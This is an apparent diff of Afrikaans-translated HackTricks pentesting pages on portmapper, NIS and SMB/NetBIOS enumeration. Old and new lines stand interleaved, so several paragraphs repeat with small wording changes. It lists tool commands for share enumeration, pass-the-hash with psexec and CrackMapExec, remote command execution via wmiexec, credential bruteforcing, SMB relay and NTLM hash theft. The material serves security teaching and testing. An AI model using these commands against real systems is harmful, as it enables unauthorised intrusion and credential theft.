| /etc/hosts | hosts.byname, hosts.byaddr | Bevat gasname en IP besonderhede |
| /etc/passwd | passwd.byname, passwd.byuid | NIS gebruiker wagwoord lêer |
| /etc/group | group.byname, group.bygid | NIS groep lêer |
| /usr/lib/aliases | mail.aliases | Besonderhede van e-pos aliase |
## RPC Gebruikers
@ -66,9 +66,9 @@ As jy die **rusersd** diens soos volg vind:
Kan jy gebruikers van die boks opnoem. Om te leer hoe, lees [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md).
## Omgewing gefilterde Portmapper poort
## Bypass Gefilterde Portmapper poort
Wanneer jy 'n **nmap skandering** uitvoer en oop NFS poorte met poort 111 wat gefilter word ontdek, is direkte uitbuiting van hierdie poorte nie haalbaar nie. egter, deur **'n portmapper diens plaaslik te simuleer en 'n tonnel van jou masjien** na die teiken te skep, word uitbuiting moontlik met behulp van standaard gereedskap. Hierdie tegniek maak dit moontlik om die gefilterde toestand van poort 111 te omseil, wat toegang tot NFS dienste moontlik maak. Vir gedetailleerde leiding oor hierdie metode, verwys na die artikel beskikbaar by [hierdie skakel](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc).
Wanneer jy 'n **nmap skandering** uitvoer en oop NFS poorte met poort 111 wat gefilter is ontdek, is direkte uitbuiting van hierdie poorte nie haalbaar nie. egter, deur **'n portmapper diens plaaslik te simuleer en 'n tonnel van jou masjien** na die teiken te skep, word uitbuiting moontlik met behulp van standaard gereedskap. Hierdie tegniek maak dit moontlik om die gefilterde toestand van poort 111 te omseil, wat toegang tot NFS dienste moontlik maak. Vir gedetailleerde leiding oor hierdie metode, verwys na die artikel beskikbaar by [hierdie skakel](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc).
## Shodan
@ -90,7 +90,7 @@ Description: Notes for PortMapper
Note: |
Portmapper is a service that is utilized for mapping network service ports to RPC (Remote Procedure Call) program numbers. It acts as a critical component in Unix-based systems, facilitating the exchange of information between these systems. The port associated with Portmapper is frequently scanned by attackers as it can reveal valuable information. This information includes the type of Unix Operating System (OS) running and details about the services that are available on the system. Additionally, Portmapper is commonly used in conjunction with NFS (Network File System), NIS (Network Information Service), and other RPC-based services to manage network services effectively.
https://book.hacktricks.xyz/pentesting/pentesting-rpcbind
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rpcbind.html
Entry_2:
Name: rpc info

View File

@ -4,13 +4,13 @@
## **Port 139**
Die _**Network Basic Input Output System**_** (NetBIOS)** is 'n sagteware-protokol wat ontwerp is om toepassings, rekenaars en desktops binne 'n plaaslike area netwerk (LAN) in staat te stel om met netwerkhardeware te kommunikeer en **die oordrag van data oor die netwerk te fasiliteer**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk werk, word bereik deur hul NetBIOS-names, wat tot 16 karakters lank kan wees en dikwels verskillend is van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geaktiveer wanneer een toepassing (wat as die kliënt optree) 'n opdrag gee om "te bel" na 'n ander toepassing (wat as die bediener optree) deur gebruik te maak van **TCP Port 139**.
Die _**Network Basic Input Output System**_** (NetBIOS)** is 'n sagtewareprotokol wat ontwerp is om toepassings, rekenaars en werkstasies binne 'n plaaslike area netwerk (LAN) in staat te stel om met netwerkhardeware te kommunikeer en **die oordrag van data oor die netwerk te fasiliteer**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk werk, word bereik deur hul NetBIOS-names, wat tot 16 karakters lank kan wees en dikwels verskillend is van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geïnisieer wanneer een toepassing (wat as die kliënt optree) 'n opdrag gee om "te bel" na 'n ander toepassing (wat as die bediener optree) deur gebruik te maak van **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Tegnies is Port 139 bekend as NBT oor IP, terwyl Port 445 geïdentifiseer word as SMB oor IP. Die akroniem **SMB** staan vir **Server Message Blocks**, wat ook modern bekend staan as die **Common Internet File System (CIFS)**. As 'n toepassingslaagnetwerkprotokol, word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers, seriële poorte te fasiliteer, en verskeie vorme van kommunikasie tussen knope op 'n netwerk te ondersteun.
Tegniek, Port 139 word verwys na 'NBT oor IP', terwyl Port 445 geïdentifiseer word as 'SMB oor IP'. Die akroniem **SMB** staan vir '**Server Message Blocks**', wat ook modern bekend staan as die **Common Internet File System (CIFS)**. As 'n toepassingslaagnetwerkprotokol, word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers, seriële poorte te fasiliteer, en verskeie vorme van kommunikasie tussen knooppunte op 'n netwerk te ondersteun.
Byvoorbeeld, in die konteks van Windows, word dit beklemtoon dat SMB direk oor TCP/IP kan werk, wat die noodsaaklikheid vir NetBIOS oor TCP/IP uitskakel, deur die gebruik van poort 445. Aan die ander kant, op verskillende stelsels, word die gebruik van poort 139 waargeneem, wat aandui dat SMB saam met NetBIOS oor TCP/IP uitgevoer word.
```
@ -18,17 +18,17 @@ Byvoorbeeld, in die konteks van Windows, word dit beklemtoon dat SMB direk oor T
```
### SMB
Die **Server Message Block (SMB)** protokol, wat in 'n **klient-bediener** model werk, is ontwerp om **toegang tot lêers**, gidse, en ander netwerkbronne soos drukkers en routers te reguleer. Primêr gebruik binne die **Windows** bedryfstelselreeks, verseker SMB terugwaartse kompatibiliteit, wat toestelle met nuwer weergawes van Microsoft se bedryfstelsel in staat stel om naatloos met dié wat ouer weergawes gebruik, te kommunikeer. Boonop bied die **Samba** projek 'n gratis sagtewareoplossing, wat SMB se implementering op **Linux** en Unix stelsels moontlik maak, en sodoende kruisplatformkommunikasie deur SMB fasiliteer.
Die **Server Message Block (SMB)** protokol, wat in 'n **klient-bediener** model werk, is ontwerp om **toegang tot lêers**, gidse, en ander netwerkbronne soos drukkers en routers te reguleer. Primêr gebruik binne die **Windows** bedryfstelselreeks, verseker SMB terugwaartse kompatibiliteit, wat toestelle met nuwer weergawes van Microsoft se bedryfstelsel in staat stel om naatloos met dié wat ouer weergawes draai, te kommunikeer. Boonop bied die **Samba** projek 'n gratis sagtewareoplossing, wat SMB se implementering op **Linux** en Unix stelsels moontlik maak, en sodoende kruisplatformkommunikasie deur SMB fasiliteer.
Aandeel, wat **arbitraire dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB-bediener verskaf word, wat die hiërargie gedeeltelik **onafhanklik** van die bediener se werklike struktuur sigbaar maak aan 'n kliënt. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, stel 'n **fynbeheer** oor gebruikersregte moontlik, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie regte kan aan individuele gebruikers of groepe toegeken word, gebaseer op die aandele, en is onderskeibaar van die plaaslike regte wat op die bediener gestel is.
Aandeel, wat **arbitraire dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB-bediener verskaf word, wat die hiërargie sigbaar maak vir 'n kliënt wat gedeeltelik **onafhanklik** is van die bediener se werklike struktuur. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, stel in staat tot **fynbeheer** oor gebruikersregte, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie regte kan aan individuele gebruikers of groepe toegeken word, gebaseer op die aandele, en is onderskeibaar van die plaaslike regte wat op die bediener gestel is.
### IPC$ Share
Toegang tot die IPC$ aandeel kan verkry word deur 'n anonieme nul sessie, wat interaksie met dienste wat via benoemde pype blootgestel word, moontlik maak. Die nut `enum4linux` is nuttig vir hierdie doel. Indien korrek gebruik, stel dit die verkryging van:
Toegang tot die IPC$ aandeel kan verkry word deur 'n anonieme nul sessie, wat interaksie met dienste wat via benoemde pype blootgestel word, moontlik maak. Die nut `enum4linux` is nuttig vir hierdie doel. Indien korrek gebruik, stel dit in staat om die volgende te verkry:
- Inligting oor die bedryfstelsel
- Besonderhede oor die ouerdomein
- 'n Samevoeging van plaaslike gebruikers en groepe
- 'n Samestelling van plaaslike gebruikers en groepe
- Inligting oor beskikbare SMB aandele
- Die effektiewe stelselsekuriteitsbeleid
@ -36,7 +36,7 @@ Hierdie funksionaliteit is krities vir netwerkadministrateurs en sekuriteitsprof
```bash
enum4linux -a target_ip
```
Die bogenoemde opdrag is 'n voorbeeld van hoe `enum4linux` gebruik kan word om 'n volledige enumerasie teen 'n teiken gespesifiseer deur `target_ip` uit te voer.
Die bogenoemde opdrag is 'n voorbeeld van hoe `enum4linux` gebruik kan word om 'n volledige enumerasie teen 'n teiken wat deur `target_ip` gespesifiseer is, uit te voer.
## Wat is NTLM
@ -165,9 +165,9 @@ pentesting-smb/rpcclient-enumeration.md
`smb://friendzone.htb/general/`
## Gedeelde Mappes Lys
## Gedeelde Lêers Lys
### Lys gedeelde mappes
### Lys gedeelde lêers
Dit word altyd aanbeveel om te kyk of jy toegang tot enigiets kan kry, as jy nie inligting het nie, probeer om **null** **inligting/gaste gebruiker** te gebruik.
```bash
@ -195,11 +195,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Handmatig vensters deel en verbind daarmee**
### **Handmatig vensters deel en verbind met hulle**
Dit mag dalk moontlik wees dat jy beperk is om enige dele van die gasheer masjien te vertoon en wanneer jy probeer om hulle op te lys, lyk dit asof daar geen dele is om mee te verbind nie. Dit mag dus die moeite werd wees om 'n poging te doen om handmatig met 'n deel te verbind. Om die dele handmatig te lys, wil jy dalk soek na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME, wanneer jy 'n geldige sessie gebruik (bv. null sessie of geldige geloofsbriewe). Hierdie mag aandui of die deel bestaan en jy nie toegang daartoe het nie of die deel glad nie bestaan nie.
Dit mag moontlik wees dat jy beperk is om enige dele van die gasheer masjien te vertoon en wanneer jy probeer om hulle op te lys, lyk dit asof daar geen dele is om mee te verbind nie. Dit mag dus die moeite werd wees om te probeer om handmatig met 'n deel te verbind. Om die dele handmatig te lys, wil jy dalk soek na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME, wanneer jy 'n geldige sessie gebruik (bv. null sessie of geldige akrediteer). Hierdie mag aandui of die deel bestaan en jy nie toegang daartoe het nie of die deel glad nie bestaan nie.
Gewone deelname name vir venster teikens is
Gewone deelname vir venster teikens is
- C$
- D$
@ -210,7 +210,7 @@ Gewone deelname name vir venster teikens is
- SYSVOL
- NETLOGON
(Gewone deelname name van _**Network Security Assessment 3rd edition**_)
(Gewone deelname van _**Network Security Assessment 3rd edition**_)
Jy kan probeer om met hulle te verbind deur die volgende opdrag te gebruik
```bash
@ -234,7 +234,7 @@ echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD
fi
done
```
voorbeelde
Voorbeelde
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Laai lêers af**
Lees vorige afdelings om te leer hoe om met akrediteerbare inligting/Pass-the-Hash te verbind.
Lees vorige afdelings om te leer hoe om met akrediteerbesonderhede/Pass-the-Hash te verbind.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -289,28 +289,28 @@ smbclient //<IP>/<share>
> mget *
#Download everything to current directory
```
Opdragte:
Commands:
- mask: spesifiseer die masker wat gebruik word om die lêers binne die gids te filter (bv. "" vir alle lêers)
- recurse: skakel rekursie aan (standaard: af)
- prompt: skakel die vrae vir lêernaam af (standaard: aan)
- mget: kopieer alle lêers wat met die masker ooreenstem van die gasheer na die kliëntmasjien
- recurse: skakel rekursie aan (verstek: af)
- prompt: skakel vrae vir lêernaam af (verstek: aan)
- mget: kopieer alle lêers wat met die masker ooreenstem van die gasheer na die kliënt masjien
(_Inligting van die manblad van smbclient_)
### Domein Gedeelde Gidses Soektog
### Domein Gedeelde Gidsen Soektog
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spin.
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spinnekop.
- `-M spider_plus [--share <share_name>]`
- `--pattern txt`
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
Spesifiek interessant van gedeeltes is die lêers genoem **`Registry.xml`** aangesien hulle **miskien wagwoorde bevat** vir gebruikers wat geconfigureer is met **autologon** via Groep Beleid. Of **`web.config`** lêers aangesien hulle akrediteer.
Spesifiek interessant van gedeeltes is die lêers genoem **`Registry.xml`** aangesien hulle **miskien wagwoorde bevat** vir gebruikers wat met **autologon** via Groepbeleid gekonfigureer is. Of **`web.config`** lêers aangesien hulle akrediteerbesonderhede bevat.
> [!NOTE]
> Die **SYSVOL gedeelde** is **leesbaar** deur alle geverifieerde gebruikers in die domein. Daar kan jy **baie** verskillende batch, VBScript, en PowerShell **scripts** **vind**.\
@ -318,7 +318,7 @@ Spesifiek interessant van gedeeltes is die lêers genoem **`Registry.xml`** aang
## Lees Register
Jy mag in staat wees om die **register te lees** met behulp van sommige ontdekte akrediteer. Impacket **`reg.py`** laat jou toe om te probeer:
Jy mag in staat wees om die **register te lees** met behulp van sommige ontdekte akrediteerbesonderhede. Impacket **`reg.py`** laat jou toe om te probeer:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
@ -329,11 +329,11 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
Die **standaardkonfigurasie van** 'n **Samba** bediener is gewoonlik geleë in `/etc/samba/smb.conf` en mag 'n paar **gevaarlike konfigurasies** hê:
| **Instelling** | **Beskrywing** |
| --------------------------- | ----------------------------------------------------------------- |
| `browseable = yes` | Laat toe om beskikbare gedeeltes in die huidige gedeelte te lys? |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Laat toe om beskikbare gedeeltes in die huidige gedeelde te lys? |
| `read only = no` | Verbied die skepping en wysiging van lêers? |
| `writable = yes` | Laat gebruikers toe om lêers te skep en te wysig? |
| `guest ok = yes` | Laat toe om met die diens te verbind sonder om 'n wagwoord te gebruik? |
| `guest ok = yes` | Laat toe om aan die diens te koppel sonder om 'n wagwoord te gebruik? |
| `enable privileges = yes` | Eer die priviliges wat aan spesifieke SID toegeken is? |
| `create mask = 0777` | Watter regte moet aan die nuutgeskepte lêers toegeken word? |
| `directory mask = 0777` | Watter regte moet aan die nuutgeskepte gidse toegeken word? |
@ -378,7 +378,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
Albei opsies sal **nuwe diens skep** (met _\pipe\svcctl_ via SMB) op die slagoffer masjien en dit gebruik om **iets uit te voer** (**psexec** sal **oplaai** 'n uitvoerbare lêer na ADMIN$ deel en **smbexec** sal na **cmd.exe/powershell.exe** wys en die argumente die payload --**file-less technique-**- insit).\
Albei opsies sal **nuwe diens skep** (met _\pipe\svcctl_ via SMB) op die slagoffer masjien en dit gebruik om **iets uit te voer** (**psexec** sal **oplaai** 'n uitvoerbare lêer na ADMIN$ deel en **smbexec** sal na **cmd.exe/powershell.exe** wys en die argumente die payload insit --**file-less technique-**-).\
**Meer inligting** oor [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)en [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
```bash
@ -388,11 +388,11 @@ In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
Gebruik **parameter** `-k` om teen **kerberos** te autentiseer in plaas van **NTLM**.
Gebruik **parameter**`-k` om teen **kerberos** te autentiseer in plaas van **NTLM**
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
Stealthily voer 'n opdrag-shel uit sonder om die skyf te raak of 'n nuwe diens te laat loop deur DCOM via **poort 135.**\
Stealthily voer 'n opdrag shell uit sonder om die skyf aan te raak of 'n nuwe diens te laat loop deur DCOM via **poort 135.**\
In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -419,7 +419,7 @@ In **kali** is dit geleë op /usr/share/doc/python3-impacket/examples/
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **Bruteforce gebruikers se akkredeite**
## **Bruteforce gebruikers se akrediteerbesonderhede**
**Dit word nie aanbeveel nie, jy kan 'n rekening blokkeer as jy die maksimum toegelate pogings oorskry**
```bash
@ -428,7 +428,7 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
```
## SMB relay aanval
Hierdie aanval gebruik die Responder toolkit om **SMB-authentikasiesessies** op 'n interne netwerk te **vang**, en **oor te dra** na 'n **teikenmasjien**. As die authentikasie **sessie suksesvol is**, sal dit jou outomaties in 'n **stelsel** **skulp** laat val.\
Hierdie aanval gebruik die Responder toolkit om **SMB-outeentigingsessies** op 'n interne netwerk te **vang**, en **oor te dra** na 'n **teikenmasjien**. As die outeentigings **sessie suksesvol is**, sal dit outomaties jou in 'n **stelsel** **skulp** laat val.\
[**Meer inligting oor hierdie aanval hier.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
@ -452,9 +452,9 @@ Wat deur sommige blaaiers en gereedskap (soos Skype) gebruik word.
## NTLM Diefstal
Soos SMB Trap, kan die plant van kwaadwillige lêers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB-authentikasiepoging uitlok, wat die NetNTLMv2-hash toelaat om met 'n hulpmiddel soos Responder onderskep te word. Die hash kan dan offline gekraak of in 'n [SMB relay aanval](pentesting-smb.md#smb-relay-attack) gebruik word.
Soos SMB Trap, kan die plant van kwaadwillige lêers op 'n teikenstelsel (via SMB, byvoorbeeld) 'n SMB-outeentigingspoging uitlok, wat die NetNTLMv2-hash toelaat om met 'n hulpmiddel soos Responder onderskep te word. Die hash kan dan offline gekraak of in 'n [SMB relay aanval](pentesting-smb.md#smb-relay-attack) gebruik word.
[ sien: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
[Siende: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)
## HackTricks Outomatiese Opdragte
```
@ -496,7 +496,7 @@ GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html
Entry_2:
Name: Enum4Linux

View File

@ -4,7 +4,7 @@
## **Port 139**
Die _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* is 'n sagtewareprotokol wat ontwerp is om toepassings, rekenaars en werkstasies binne 'n plaaslike area netwerk (LAN) in staat te stel om met netwerkhardeware te kommunikeer en **die oordrag van data oor die netwerk te fasiliteer**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk werk, word bereik deur hul NetBIOS-names, wat tot 16 karakters lank kan wees en dikwels verskillend is van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geaktiveer wanneer een toepassing (wat as die kliënt optree) 'n opdrag gee om 'n ander toepassing (wat as die bediener optree) te "bel" deur gebruik te maak van **TCP Port 139**.
Die _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* is 'n sagtewareprotokol wat ontwerp is om toepassings, rekenaars en werkstasies binne 'n plaaslike area netwerk (LAN) in staat te stel om met netwerkhardeware te kommunikeer en **die oordrag van data oor die netwerk te fasiliteer**. Die identifikasie en ligging van sagtewaretoepassings wat op 'n NetBIOS-netwerk werk, word bereik deur hul NetBIOS-names, wat tot 16 karakters lank kan wees en dikwels verskillend is van die rekenaarnaam. 'n NetBIOS-sessie tussen twee toepassings word geïnisieer wanneer een toepassing (wat as die kliënt optree) 'n opdrag gee om "te bel" na 'n ander toepassing (wat as die bediener optree) deur gebruik te maak van **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
@ -12,22 +12,22 @@ Die _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* is 'n sagtewarepro
Tegniek is Port 139 bekend as NBT oor IP, terwyl Port 445 geïdentifiseer word as SMB oor IP. Die akroniem **SMB** staan vir **Server Message Blocks**, wat ook modern bekend staan as die **Common Internet File System (CIFS)**. As 'n toepassingslaagnetwerkprotokol, word SMB/CIFS hoofsaaklik gebruik om gedeelde toegang tot lêers, drukkers, seriële poorte te fasiliteer, en verskeie vorme van kommunikasie tussen knooppunte op 'n netwerk te ondersteun.
Byvoorbeeld, in die konteks van Windows, word dit beklemtoon dat SMB direk oor TCP/IP kan werk, wat die noodsaaklikheid vir NetBIOS oor TCP/IP uitskakel, deur die gebruik van port 445. Aan die ander kant, op verskillende stelsels, word die gebruik van port 139 waargeneem, wat aandui dat SMB saam met NetBIOS oor TCP/IP uitgevoer word.
Byvoorbeeld, in die konteks van Windows, word dit beklemtoon dat SMB direk oor TCP/IP kan werk, wat die noodsaaklikheid vir NetBIOS oor TCP/IP uitskakel, deur die gebruik van poort 445. Aan die ander kant, op verskillende stelsels, word die gebruik van poort 139 waargeneem, wat aandui dat SMB saam met NetBIOS oor TCP/IP uitgevoer word.
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
Die **Server Message Block (SMB)** protokol, wat in 'n **klient-bediener** model werk, is ontwerp om **toegang tot lêers**, gidse, en ander netwerkbronne soos drukkers en routers te reguleer. Primêr gebruik binne die **Windows** bedryfstelselreeks, verseker SMB terugwaartse kompatibiliteit, wat toestelle met nuwer weergawes van Microsoft se bedryfstelsel in staat stel om naatloos met dié wat ouer weergawes gebruik, te kommunikeer. Boonop bied die **Samba** projek 'n gratis sagtewareoplossing, wat SMB se implementering op **Linux** en Unix stelsels moontlik maak, en sodoende kruisplatformkommunikasie deur SMB fasiliteer.
Die **Server Message Block (SMB)** protokol, wat in 'n **klient-bediener** model werk, is ontwerp om **toegang tot lêers**, gidse, en ander netwerkbronne soos drukkers en routers te reguleer. Primêr gebruik binne die **Windows** bedryfstelselreeks, verseker SMB terugwaartse kompatibiliteit, wat toestelle met nuwer weergawes van Microsoft se bedryfstelsel in staat stel om naatloos met dié wat ouer weergawes gebruik, te kommunikeer. Daarbenewens bied die **Samba** projek 'n gratis sagtewareoplossing, wat SMB se implementering op **Linux** en Unix stelsels moontlik maak, en sodoende kruisplatformkommunikasie deur SMB fasiliteer.
Aandeel, wat **arbitraire dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB-bediener verskaf word, wat die hiërargie gedeeltelik **onafhanklik** van die bediener se werklike struktuur sigbaar maak aan 'n kliënt. Die **Access Control Lists (ACLs)**, wat **toegangsregte** definieer, stel **fynbeheer** oor gebruikersregte moontlik, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie regte kan aan individuele gebruikers of groepe toegeken word, gebaseer op die aandele, en is onderskeibaar van die plaaslike regte wat op die bediener gestel is.
Aandele, wat **arbitraire dele van die plaaslike lêerstelsel** verteenwoordig, kan deur 'n SMB-bediener verskaf word, wat die hiërargie sigbaar maak vir 'n kliënt wat gedeeltelik **onafhanklik** is van die bediener se werklike struktuur. Die **Access Control Lists (ACLs)**, wat **toegangregte** definieer, stel **fynbeheer** oor gebruikersregte moontlik, insluitend eienskappe soos **`execute`**, **`read`**, en **`full access`**. Hierdie regte kan aan individuele gebruikers of groepe toegeken word, gebaseer op die aandele, en is onderskeibaar van die plaaslike regte wat op die bediener gestel is.
### IPC$ Share
Toegang tot die IPC$ aandeel kan verkry word deur 'n anonieme nul sessie, wat interaksie met dienste wat via benoemde pype blootgestel word, moontlik maak. Die nut `enum4linux` is nuttig vir hierdie doel. Korrek gebruik, stel dit die verkryging van:
Toegang tot die IPC$ aandele kan verkry word deur 'n anonieme nul sessie, wat interaksie met dienste wat via benoemde pype blootgestel word, moontlik maak. Die nut `enum4linux` is nuttig vir hierdie doel. Wanneer dit behoorlik gebruik word, stel dit die verkryging van:
- Inligting oor die bedryfstelsel
- Besonderhede oor die ouer domein
- Besonderhede oor die ouerdomein
- 'n Samevoeging van plaaslike gebruikers en groepe
- Inligting oor beskikbare SMB aandele
- Die effektiewe stelselsekuriteitsbeleid
@ -54,10 +54,10 @@ nbtscan -r 192.168.0.1/24
```
### SMB bediener weergawe
Om moontlike exploits vir die SMB weergawe te soek, is dit belangrik om te weet watter weergawe gebruik word. As hierdie inligting nie in ander gebruikte gereedskap verskyn nie, kan jy:
Om na moontlike exploits vir die SMB weergawe te soek, is dit belangrik om te weet watter weergawe gebruik word. As hierdie inligting nie in ander gebruikte gereedskap verskyn nie, kan jy:
- Gebruik die **MSF** bykomende module \_**auxiliary/scanner/smb/smb_version**
- Of hierdie skrip:
- Of hierdie skrif:
```bash
#!/bin/sh
#Author: rewardone
@ -119,7 +119,7 @@ rpcclient -U "username%passwd" <IP> #With creds
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### Lys gebruikers, groepe & ingelogde gebruikers
### Lys gebruikers, groepe & aangemelde gebruikers
Hierdie inligting behoort reeds van enum4linux en enum4linux-ng versamel te wees.
```bash
@ -165,9 +165,9 @@ rpcclient-enumeration.md
`smb://friendzone.htb/general/`
## Gedeelde Lêers Lys
## Gedeelde Mappes Lys
### Lys gedeelde lêers
### Lys gedeelde mappes
Dit word altyd aanbeveel om te kyk of jy toegang tot enigiets kan kry, as jy nie inligting het nie, probeer om **null** **inligting/gaste gebruiker** te gebruik.
```bash
@ -195,11 +195,11 @@ smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **Handmatig vensters deel en verbind met hulle**
### **Handmatig vensterskappe opnoem en aan hulle koppel**
Dit mag wees dat jy beperk is om enige dele van die gasheer masjien te vertoon en wanneer jy probeer om hulle op te lys, lyk dit asof daar geen dele is om mee te verbind nie. Dit mag dus die moeite werd wees om 'n poging te doen om handmatig met 'n deel te verbind. Om die dele handmatig te lys, wil jy dalk soek na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME, wanneer jy 'n geldige sessie gebruik (bv. null sessie of geldige geloofsbriewe). Hierdie mag aandui of die deel bestaan en jy nie toegang daartoe het nie of die deel glad nie bestaan nie.
Dit mag wees dat jy beperk is om enige skappe van die gasheer masjien te vertoon en wanneer jy probeer om hulle op te lys, lyk dit asof daar geen skappe is om mee te verbind nie. Dit mag dus die moeite werd wees om te probeer om handmatig met 'n skep te verbind. Om die skappe handmatig op te noem, wil jy dalk soek na antwoorde soos NT_STATUS_ACCESS_DENIED en NT_STATUS_BAD_NETWORK_NAME, wanneer jy 'n geldige sessie gebruik (bv. null sessie of geldige akrediteer). Hierdie mag aandui of die skep bestaan en jy nie toegang daartoe het nie of die skep glad nie bestaan nie.
Gewone deelname vir venster teikens is
Gewone skepname vir venster teikens is
- C$
- D$
@ -210,7 +210,7 @@ Gewone deelname vir venster teikens is
- SYSVOL
- NETLOGON
(Gewone deelname van _**Network Security Assessment 3rd edition**_)
(Gewone skepname van _**Network Security Assessment 3rd edition**_)
Jy kan probeer om met hulle te verbind deur die volgende opdrag te gebruik
```bash
@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Laai lêers af**
Lees vorige afdelings om te leer hoe om met akrediteer/Pass-the-Hash te verbind.
Lees vorige afdelings om te leer hoe om met akrediteerbesonderhede/Pass-the-Hash te verbind.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -304,7 +304,7 @@ Opdragte:
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spinnekop.
